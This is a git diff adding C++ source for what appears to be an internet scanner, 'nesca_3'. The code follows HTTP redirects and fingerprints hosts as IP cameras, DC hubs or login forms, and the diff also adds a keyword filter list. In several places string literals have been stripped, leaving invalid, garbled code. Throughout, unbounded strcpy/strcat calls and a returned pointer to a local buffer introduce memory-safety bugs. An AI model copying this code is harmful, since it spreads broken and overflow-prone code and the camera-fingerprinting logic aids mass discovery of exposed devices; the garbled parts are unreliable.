if(strstr(ptr1 + sz1 + 1, "?") != NULL) //Path search + { + char *temp2 = strstr(temp1 + sz1 + 1, "?"); + if( strstr(temp2, "')") ) + { + strncpy(tempPath, strstr(temp1 + sz1, "?"), strlen(temp2) - strlen(strstr(temp2, "')"))); + } + else if( strstr(temp2, "\n") ) + { + strncpy(tempPath, temp2, strlen(temp2) - strlen(strstr(temp2, "\n"))); + } + else strcpy(tempPath, temp2); + } + else strcpy(tempPath, "/"); + +#pragma endregion + + char b[16] = {0}; + if(tempPort == 0) tempPort = port; + strcpy(mes, buff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, buff2); + strcat(mes, tempIP); + if(strlen(cookie) != 0) + { + strcat(mes, buff3); + strcat(mes, cookie); + }; + strcat(mes, buff4); + char head[TITLE_MAX_LENGTH] = {0}; + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishConnection(tempIP, tempPort, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + + ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -1; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = tempPort; + strcpy(ps->ip, tempIP); + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + delete []cstr.lowerBuff; + ps->port = tempPort; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + } + else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/')) + { + char *ptr1 = strstr(str, "/"); + if( strstr(str, "')" ) ) + { + strncpy(tempPath, ptr1, strlen(ptr1) - strlen(strstr(ptr1, "')"))); + } + else if( strstr(str, "\"") ) + { + strncpy(tempPath, ptr1, strstr(str, "\"") - str); + } + else if( strstr(str, "\n") ) + { + strncpy(tempPath, ptr1, strlen(ptr1) - strlen(strstr(ptr1, "\n"))); + } + else + { + if(strstr(str, "[Redirect: ]") != NULL) strcpy(tempPath, str + strlen("[Redirect: ]")); + else if(str[0] == '.' && str[1] == '.') strcpy(tempPath, str + 2); + else if(str[0] == '.') strcpy(tempPath, str + 1); + else strcpy(tempPath, str); + }; + + char b[16] = {0}; + strcpy(mes, buff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, buff2); + strcat(mes, ip); + if(strlen(cookie) != 0) + { + strcat(mes, buff3); + strcat(mes, cookie); + }; + strcat(mes, buff4); + + char head[TITLE_MAX_LENGTH] = {0}; + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + int cRes = 0; + if(port == 443) cRes = con._EstablishSSLConnection(ip, 443, mes, &cstr); + else cRes = con._EstablishConnection(ip, port, mes, &cstr); + if(cstr.size < 65535) + { + strncpy(buff, cstr.lowerBuff, cstr.size); + } + else + { + strncpy(buff, cstr.lowerBuff, 65535); + }; + if(cRes != -1) + { + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, port, ip); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -2; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = port; + strcpy(ps->ip, ip); + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + strcat(ps->headr, "->"); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + delete []cstr.lowerBuff; + ps->port = tempPort; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + } + else if(strlen(str) > 2) + { + if(strstr(str, "[Redirect: ]") != NULL) + { + if((strlen(strstr(str, "]") + 2)) > 4) strncpy(tempPath, strstr(str, "]") + 2, strlen(strstr(str, "]") + 1) - 1); //From "[Redirect: ]" + else + { + strcpy(ps->headr, "[Error in redirect.]"); + strcpy(ps->path, "/"); + + return 0; + } + } + else strcpy(tempPath, str); + + strcpy(mes, buff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, buff2); + strcat(mes, ip); + if(strlen(cookie) != 0) + { + strcat(mes, buff3); + strcat(mes, cookie); + }; + strcat(mes, buff4); + + char head[TITLE_MAX_LENGTH] = {0}; + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishConnection(ip, port, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, port, ip); + ps->flag = ls->flag; + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -1; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = port; + strcpy(ps->ip, ip); + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + delete []cstr.lowerBuff; + ps->port = tempPort; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + }; + + return -1; +}; +char *_ValidateRedStr(char *str, char *oldResStr) +{ + char toldResStr[512] = {0}; + strcat(toldResStr, " "); + strncat(toldResStr, oldResStr, 510); + char *temp1 = strstr(str, toldResStr); + char redStr[512] = {0}; + if(temp1 != NULL) + { + char *temp2 = FindFirstOcc(temp1 + 1, "\"'"); + char *temp3 = FindFirstOcc(temp2 + 1, ";\n"); + int sz = temp3 - temp2 - 2; + char tRedStr[512] = {0}; + sz = (sz < 0?0:sz); + strncpy(tRedStr, temp2 + 1, (sz < 511 ? sz : 511)); + + if(strstr(tRedStr, "+") != NULL) + { + int iC = 0; + for(int i = 0; i < sz; ++i) + { + if(tRedStr[i] != '+' && tRedStr[i] != '"' && tRedStr[i] != '\'' && tRedStr[i] != ';' && tRedStr[i] != '\n' && tRedStr[i] != ' ') + { + redStr[iC] = tRedStr[i]; + ++iC; + }; + }; + } else strcpy(redStr, tRedStr); + }; + return redStr; +}; + +void _getPopupTitle(PathStr *ps, char *str) +{ + char res[32] = {0}; + + strcat(ps->headr, "[Popup detected. Title: "); + + char *ptr1 = strstr(str, ","); + if(ptr1 != NULL) + { + char *ptr2 = strstr(ptr1 + 1, ","); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1 - 1; + if(sz >= 32) sz = 32; + + strncat(ps->headr, ptr1 + 1, sz < 32 ? sz : 32); + } + else + { + strcat(ps->headr, "[BOUNDARY_ERROR]"); + }; + } + else + { + strcat(ps->headr, "[BOUNDARY_ERROR]"); + }; + + strcat(ps->headr, "]"); +}; + +int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector *redirStrLst, char *rBuff) +{ + std::string redirectStr = ""; + char cookie[1024] = {0}; + strncpy(cookie, _getAttribute(str, "Set-Cookie:"), 1024); + + +#pragma region Prechecks + if(strstr(str, "[IGNR_ADDR]") != NULL) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::Precheck."); + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, "/"); + return 0; + }; + + strcpy(ps->codepage, GetCodePage(str)); + + if(strstr(str, "[CONN_LOWLOAD_OMG]") != NULL) + { + strcpy(ps->headr, "[CONN_LOWLOAD_OMG]"); + strcpy(ps->path, "/"); + return 0; + }; + + if(strlen(str) == 0) + { + strcpy(ps->headr, "[No data!]"); + strcpy(ps->path, "/"); + return 0; + }; + + char *secondStr, *firstStr, *tempStr, finalstr[512] = {0}; + + if(strstri(str, "notice auth :*** looking up your hostname...") || strstri(str, "451 * :You have not registered.")) { strcpy(ps->headr, "[IRC server]"); strcpy(ps->path, "/"); return 1; }; + if(strstri(str, "Error - Bad Address")) { strcpy(ps->headr, str); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "[OVERFLOW]") != NULL) { strcpy(ps->headr, "[OVERFLOW]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "site introuvable !") != NULL) { strcpy(ps->headr, "[Site introuvable !]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "ip camera") != NULL || strstri(str, "+tm01+") != NULL + || strstri(str, "camera web server") != NULL || strstri(str, "ipcam_language") != NULL + || strstri(str, "/viewer/video.jpg") != NULL || strstri(str, "network camera") != NULL + || strstri(str, "sanpshot_icon") != NULL || strstri(str, "snapshot_icon") != NULL + || strstri(str, "lan camera") != NULL || strstri(str, "cgiuserlogin?") != NULL + || strstri(str, "web camera") != NULL || strstri(str, "smart ip device") != NULL + || strstri(str, "pan/tilt camera") != NULL || strstri(str, "/cgi-bin/viewer/getparam.cgi?") != NULL + || strstri(str, "IPCamera") != NULL + + ) + { + strcpy(ps->headr, "[IP Camera detected.]"); + l->flag = 0; + ps->flag = 0; + }; + if(strstri(str, "get_status.cgi") != NULL) { strcpy(ps->headr, "[It may be ip camera]"); }; + if(strstri(str, "vo_logo.gif") != NULL || strstri(str, "vo logo.gif") != NULL) { strcpy(ps->headr, "[VIVOTEK camera detected?]"); }; + if(strstri(str, "$lock extended") != NULL) { strcpy(ps->headr, "[DChub detected.]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "top.htm?currenttime") != NULL || strstri(str, "top.htm?") != NULL) strcat(finalstr, " [?][SecCam detected]"); +#pragma endregion + +#pragma region 302 Redirects + if(strstri(str, "301 found") != NULL || strstri(str, "302 found") != NULL || + strstri(str, "redirect") != NULL || strstri(str, "303 see other") != NULL || + strstri(str, "302 document follows") != NULL || strstri(str, "301 moved") != NULL || strstri(str, "302 moved") != NULL || + strstri(str, "302 redirect") != NULL || strstri(str, "301 redirect") != NULL || + strstri(str, "http/1.1 302 ") != NULL || strstri(str, "http/1.0 302 ") != NULL) + { + char *temp, *temp2; + int res = 0; + + if(strstri(str, "location: ") != NULL) + { + temp = strstri(str, "location: "); + + if( strstr(temp+strlen("location: "), "\r\n") != NULL ) + { + temp2 = strstri(temp + strlen("location: "), "\r\n"); + res = temp2 - temp; + } + else if( strstr(temp+strlen("location: "), "\n") != NULL ) + { + temp2 = strstr(temp + strlen("location: "), "\n"); + res = temp2 - temp; + } else res = 600; + + char newLocN[512] = {0}; + char *tmp = {0}; + if(strstri(temp, "/") != NULL) tmp = strstr(temp, "/"); + if(res > 512) strncat(newLocN, temp + strlen("location: "), 512); + else strncat(newLocN, temp + strlen("location: "), res - strlen("location: ")); + + if(strstr(newLocN, "http://") == NULL && strstr(newLocN, "https://") == NULL) + { + if(newLocN[0] != '.') + { + if(newLocN[0] != '/') + { + char tnewLocN[512] = {0}; + strcpy(tnewLocN, "/"); + strcat(tnewLocN, newLocN); + strcpy(newLocN, tnewLocN); + }; + }; + }; + + redirectStr = std::string(newLocN); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, newLocN, l, ps, redirStrLst, rBuff); + }; + return -2; + } + else if(strstri(str, "location:") != NULL) + { + temp = strstri(str, "location:"); + + if( strstri(temp+strlen("location:"), "\r\n") != NULL ) + { + temp2 = strstri(temp + strlen("location:"), "\r\n"); + res = temp2 - temp; + } + else if( strstri(temp+strlen("location:"), "\n") != NULL ) + { + temp2 = strstri(temp + strlen("location:"), "\n"); + res = temp2 - temp; + } else res = 600; + + char newLoc[512] = {0}; + char *tmp = {0}; + if(strstri(temp, "/") != NULL) tmp = strstri(temp, "/"); + if(res > 512) strncat(newLoc, temp+strlen("location:"), 512); + else strncat(newLoc, temp + strlen("location:"), res - strlen("location:")); + + redirectStr = std::string(newLoc); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + }; + return -2; + }; + }; + + if( strstri(str, "see other") != NULL + || strstri(str, "object moved") != NULL || strstri(str, "moved temporarily") != NULL + || strstri(str, "moved permanently") != NULL ) + { + char *temp; + + if(strstri(str, "location=") != NULL) + { + temp = strstri(str, "location="); + char *temp2 = strstri(temp+strlen("location="), ">"); + int res = temp2 - temp; + char lol[512] = {0}; + + strncpy(lol, "[Redirect: ] ", strlen("[Redirect: ] ")); + strncat(lol, temp+strlen("location="), res - strlen("location=")); + + redirectStr = std::string(lol); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, lol, l, ps, redirStrLst, rBuff); + }; + return -2; + } + else if(strstri(str, "location:") != NULL) + { + temp = strstri(str, "location:"); + char *temp2; + if(strstri(temp+strlen("location:"), "\r\n") != 0) {temp2 = strstri(temp+strlen("location:"), "\r\n"); + } + else if(strstri(temp+strlen("location:"), "\r\n\r\n\n") != 0) temp2 = strstri(temp+strlen("location:"), "\r\n\r\n\n"); + else if(strstri(temp+strlen("location:"), "\n") != 0) {temp2 = strstri(temp+strlen("location:"), "\n"); + } + else if(strstri(temp+strlen("content-length"), "\n") != 0) temp2 = strstri(temp+strlen("content-length"), "\n"); + else if(strstri(temp+strlen("location: "), " ") != 0) temp2 = strstri(temp+strlen("location: "), " "); + else temp2 = strstri(temp+strlen("location:"), "server"); + int res = temp2 - temp; + char lol[512] = {0}; + + strncpy(lol, "[Redirect: ] ", strlen("[Redirect: ]")); + int sum = res - strlen("location:"); + if(sum > sizeof(lol)) sum = 20; + strncat(lol, temp+strlen("location:"), sum); + + redirectStr = std::string(lol); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, lol, l, ps, redirStrLst, rBuff); + }; + return -2; + }; + }; + if(strstri(str, "http-equiv=\"refresh\"") != NULL || strstri(str, "http-equiv=refresh") != NULL || strstri(str, "http-equiv='refresh'") != NULL) + { + char *temp = NULL; + char *strTmp = NULL; + + if(strstri(str, "http-equiv=\"refresh\"") != NULL) strTmp = strstri(str, "ttp-equiv=\"refresh\""); + else if(strstri(str, "http-equiv=refresh") != NULL) strTmp = strstri(str, "http-equiv=refresh"); + else if(strstri(str, "http-equiv='refresh'") != NULL) strTmp = strstri(str, "http-equiv='refresh'"); + + if(strstri(strTmp, "url=") != NULL ) + { + if((int)(strstri(strTmp, "url=") - strTmp) < 100) + { + temp = strstri(strTmp, "url="); + + char *temp1 = 0, *temp2 = 0, temp3[512] = {0}; + int sz = 0; + + if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') + { + temp2 = FindFirstOcc(temp + 6, " \n>\"'"); + sz = (int)(temp2 - temp) - 5; + strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 128)); + } + else + { + temp2 = FindFirstOcc(temp + 4, " \n>\"'"); + sz = (int)(temp2 - temp) - 4; + strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 128); + }; + + if(strstri(temp3, "http://") == NULL && strstri(temp3, "https://") == NULL) + { + if(temp3[0] != '.') + { + if(temp3[0] != '/') + { + char temp4[512] = {0}; + strcpy(temp4, "/"); + strcat(temp4, temp3); + strncpy(temp3, temp4, 512); + }; + }; + }; + + redirectStr = std::string(temp3); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); + }; + strcat(ps->headr, " "); + return -2; + }; + + strcat(ps->headr, finalstr); + strcat(ps->headr, " "); + return 0; + }; + }; + if((strstri(str, "location.href") != NULL || strstri(str, "window.location =") != NULL || strstri(str, "window.location=") != NULL) + && strstri(str, "onClick=\"location.href") == NULL) + { + char startPoint[32] = {0}; + if(strstri(str, "location.href=") != NULL) strcpy(startPoint, "location.href="); + else if(strstri(str, "location.href =") != NULL) strcpy(startPoint, "location.href ="); + else if(strstri(str, "window.location=") != NULL) strcpy(startPoint, "window.location="); + else if(strstri(str, "window.location =") != NULL) strcpy(startPoint, "window.location ="); + else + { + strcat(ps->headr, "[JS-Err: Key-word]"); + }; + if(strlen(startPoint) != 0) + { + char tredStr[512] = {0}; + char *temp1 = strstri(str, startPoint); + char *temp2 = FindFirstOcc(temp1, "\"'}"); + char *temp3 = FindFirstOcc(temp2 + 1, "\"'}"); + int sz = temp3 - temp2 - 1; + strncpy(tredStr, temp2 + 1, (sz < 511 ? sz : 511)); + char redStr[512] = {0}; + if(strstri(tredStr, "+") != NULL) + { + strncpy(redStr, tredStr + 1, 511); + sz = strlen(tredStr) - 1; + } + else strcpy(redStr, tredStr); + + if(sz == 0) + { + temp2 = FindFirstOcc(temp1, "="); + temp3 = FindLastOcc(temp2 + 1, " "); + char *temp4 = FindFirstOcc(temp3 + 1, ";\r\n "); + sz = temp4 - temp3 - 1; + strncpy(redStr, temp3 + 1, (sz < 511 ? sz : 511)); + }; + + if(strstri(redStr, "/") == NULL && strstri(redStr, ".") == NULL) + { + strncpy(redStr, _ValidateRedStr(str, redStr), 511); + }; + + if(strlen(redStr) > 0 && ip != NULL) + { + if(strstr(redStr, "http://") == NULL && strstr(redStr, "https://") == NULL) + { + if(redStr[0] != '/') + { + char tempRedStr[512] = {0}; + strcpy(tempRedStr, "/"); + strcat(tempRedStr, redStr); + strcpy(redStr, tempRedStr); + }; + }; + redirectStr = std::string(redStr); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, redStr, l, ps, redirStrLst, rBuff); + }; + return -2; + } + else + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::location.href_Parser."); + ++Filt; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, "/"); + return 0; + }; + }; + }; + if(strstri(str, "location.replace") != NULL) + { + char redStr[512] = {0}; + char tredStr[512] = {0}; + char *temp1 = strstri(str, "location.replace"); + char *temp2 = FindFirstOcc(temp1, "("); + char *temp3 = FindFirstOcc(temp2 + 1, ")"); + int sz = temp3 - temp2 - 1; + strncpy(tredStr, temp2 + 1, (sz < 511 ? sz : 511)); + if(strstr(tredStr, "\"") != NULL || strstri(tredStr, "'") != NULL) + { + temp2 = FindFirstOcc(tredStr, "\"'"); + temp3 = FindFirstOcc(temp2 + 1, "\"'"); + sz = temp3 - temp2 - 1; + strncpy(redStr, temp2 + 1, (sz < 511 ? sz : 511)); + } + else if(strstr(tredStr, " ") != NULL ) + { + char tredStr2[512] = {0}; + temp1 = strstr(tredStr, " "); + temp2 = FindLastOcc(temp1, " "); + temp3 = FindFirstOcc(temp2 + 1, " "); + sz = temp3 - temp2 - 1; + strncpy(tredStr2, temp2 + 1, (sz < 511 ? sz : 511)); + strncpy(redStr, _ValidateRedStr(str, tredStr2), 511); + } + else + { + strncpy(redStr, _ValidateRedStr(str, tredStr), 511); + }; + + if(strlen(redStr) > 0) + { + redirectStr = std::string(redStr); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, redStr, l, ps, redirStrLst, rBuff); + }; + return -2; + } + else + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::location.replace_Parser."); + ++Filt; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, "/"); + return 0; + }; + }; + +#pragma endregion + + if((strstri(str, "location ='") != NULL || strstri(str, "location='") != NULL + || strstri(str, "location =\"") != NULL || strstri(str, "location=\"") != NULL + || strstri(str, "location = \"") != NULL || strstri(str, "location= \"") != NULL + || strstri(str, "location = '") != NULL || strstri(str, "location= '") != NULL) + && strstri(str, "window.location") == NULL + ) + { + char *temp2 = {0}, *temp1 = {0}, *temp = {0}; + char quoteArr[1] = {0}; + int checkRes = 0; + int offset = 0; + if(strstri(str, "location =") != NULL) + { + offset = strlen("location ="); + temp = strstri(str, "location ="); + quoteArr[0] = (char)(temp[strlen("location =")]); + if(quoteArr[0] == ' ') + { + quoteArr[0] = (char)(temp[strlen("location =") + 1]); + ++offset; + }; + } + else if(strstri(str, "location=") != NULL) + { + offset = strlen("location="); + temp = strstri(str, "location="); + quoteArr[0] = (char)(temp[strlen("location=")]); + if(quoteArr[0] == ' ') + { + quoteArr[0] = (char)(temp[strlen("location=") + 1]); + ++offset; + }; + }; + + memset(quoteArr + 1, '\0', 1); + + char location[512] = {0}; + if(strstri(temp + offset + 1, quoteArr) != NULL) temp1 = strstri(temp + offset + 1, quoteArr); + else + { + strcpy(ps->headr, "[JARedirect: Cannot retrieve link.]"); + strcpy(ps->path, "/"); + return 0; + }; + checkRes = temp1 - temp - offset; + + char newLoc2[512] = {0}; + ZeroMemory(newLoc2, sizeof(newLoc2)); + if (checkRes > 512 || checkRes < 0) checkRes = 512; + strncpy(location, temp + 1 + offset, checkRes - 1); + if(strstri(location, "http") != NULL) strcpy(newLoc2, location); + else + { + strncpy(newLoc2, "http://", strlen("http://")); + strcat(newLoc2, ip); + strcat(newLoc2, ":"); + strcat(newLoc2, std::to_string((long double)port).c_str()); + if(temp[1 + offset] != '/') strcat(newLoc2, "/"); + strncat(newLoc2, temp + 1 + offset, checkRes - 1); + }; + + redirectStr = std::string(newLoc2); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, newLoc2, l, ps, redirStrLst, rBuff); + }; + return -2; + }; + + if(strstri(str, ""); + + char script[128] = {0}; + int sz = (int)(str2 - str1) - AreaLen; + if((int)(str2 - str1) < 128) strncpy(script, str1 + AreaLen, sz); + if(strstri(script, "http://") == NULL) + { + strcpy(lol, "http://"); + strcat(lol, ip); + strcat(lol, ":"); + strcat(lol, std::to_string((long double)port).c_str()); + if(script[0] != '/') strcat(lol, "/"); + strcat(lol, script); + } + else strcpy(lol, script); + + int flag = 0; + if(sz > 0) + { + redirectStr = std::string(lol); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(cookie, ip, port, lol, l, ps, redirStrLst, rBuff); + }; + } + else + { + strcat(ps->headr, " "); + strcat(ps->headr, "[Frame redirector: Zero-length location?]"); + strcpy(ps->path, "/"); + }; + + flag = ps->flag; + if(flag == 1 || flag == 11 || flag == 12 + || flag == 13 || flag == 14 || flag >= 17 || flag == 10) + { + return -2; + }; + + if(strstri(str1, "headr, " [Login form detected]"); + char *ptr1 = strstri(str, "begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirStr); + redirectReconnect(cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff); + }; + return -2; + } + else + { + strcat(ps->headr, " [Form action not found]"); + }; + return 0; + }; + + if(strlen(ps->headr) == 0) + { + strcat(ps->headr, "[Empty title]"); + if(strstri(str, "headr, "[No html]"); + }; + if(strstri(str, "headr, "[No body]"); + }; + + if(strstri(str, "\r\n\r\n") != NULL) + { + char *tempStr = strstri(str, "\r\n\r\n"); + if(strlen(tempStr) - 4 >= 250) + { + if(strstr(str, "Content-Encoding: gzip") != NULL) + { + strcat(ps->headr, "[GZIP]"); + }; + strcat(ps->headr, " [Data: "); + if(strstri(tempStr + 4, "headr, strstri(tempStr, "headr, strstri(tempStr, "") != NULL) + { + strncat(ps->headr, strstri(tempStr, "") + 8, 64); + } + else strncat(ps->headr, tempStr + 4, 64); + strcat(ps->headr, "]"); + } + else + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::Lowload_body (<250b)"); + }; + + ++Filt; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, "/"); + return 0; + }; + } + else + { + strcat(ps->headr, " [Data:"); + strncat(ps->headr, str, 128); + strcat(ps->headr, "]"); + }; + }; + ps->flag = ContentFilter(str, port, ip); + + if(strstri(str, "window.open(") != NULL) + { + _getPopupTitle(ps, strstri(str, "window.open(")); + }; + + strcpy(ps->path, "/"); + return 0; +}; \ No newline at end of file diff --git a/main.cpp b/main.cpp new file mode 100755 index 0000000..fe5f47a --- /dev/null +++ b/main.cpp @@ -0,0 +1,45 @@ +#include "nesca_3.h" +#include +#if defined(Q_OS_WIN32) +#include +#include +#endif + +//--Fixing _ITERATOR_DEBUG_LEVEL 0!=2 +#if defined(Q_OS_WIN32) +int WINAPI WinMain(HINSTANCE hInstance, + HINSTANCE hPrevInstance, LPSTR lpcmdline, int ncmdshow) +{ + QApplication a(ncmdshow, (char **)lpcmdline); +#else +int main(int argc, char *argv[]) +{ + QApplication a(argc, argv); +#endif +#if defined(Q_OS_WIN32) + + QStringList list; + list << "Eurostile.ttf"; + int fontID(-1); + bool fontWarningShown(false); + for (QStringList::const_iterator constIterator = list.constBegin(); constIterator != list.constEnd(); ++constIterator) { + QFile res(":/nesca_3/" + *constIterator); + if (res.open(QIODevice::ReadOnly) == false) { + if (fontWarningShown == false) { + fontWarningShown = true; + } + } else { + fontID = QFontDatabase::addApplicationFontFromData(res.readAll()); + if (fontID == -1 && fontWarningShown == false) { + fontWarningShown = true; + } + } + } + +#endif +nesca_3 *gui = new nesca_3(); + + gui->showNormal(); + return a.exec(); +} + \ No newline at end of file diff --git a/negatives.txt b/negatives.txt new file mode 100755 index 0000000..6785863 --- /dev/null +++ b/negatives.txt @@ -0,0 +1,791 @@ +530 User access denied +prelogin +service temporarily unavailable +service is temporary unavailable +service unavailable +403 - forbidden +403 access denied +403 forbidden +408 request time-out +421 service not available +500 - internal server error +505 http version +Comming Soon +google_ad_client +/js/thickbox.js +google_ad_slot +google-analytics.com +googlesyndication +temporarily offline +temporarily unavailable +>log in +.js_check.html +/about-our-site.html +/auth. +/acquittal.html +/building.html +/cart/view +/catalog/search.php +/cgi-bin/welcome.cgi +/citrix/ +/citrixaccess +/contact +/welcome/ +application/x-shockwave-flash +/contactus +/contact-us +/customer +/client +/esi.cgi?page=status-index.xml +/guarantee +/html/index.asp +/iisstart.asp +/images/final-hp +/install.php +/kontakty +/manga/index.cgi +/manual/ +/order +/privacy +/news +/portal-login +/product.php +/rpauth.html +/servlet/wap/login +shop +/buy +/sell +/company +/brand +/signin +/simple.html +/soap/ +/support/ +/terms +/ui/ +/user/index.php +/weblogin.htm +/xampp/ +/zimbra +:5000/ +?hipname= +@bk.ru +@gmail.com +@inbox.ru +@list.ru +@mail.ru +@rambler.ru +@yandex.ru ++home_42+ ++i1+ ++vt_docsystem+ +16 ch +a test web page +clinic +museum +It's works +Adobe GoLive + +Remote Link2 +about/ +aboutus +about-us +about us +acceso denegado +acceso sistema +access the sharecenter 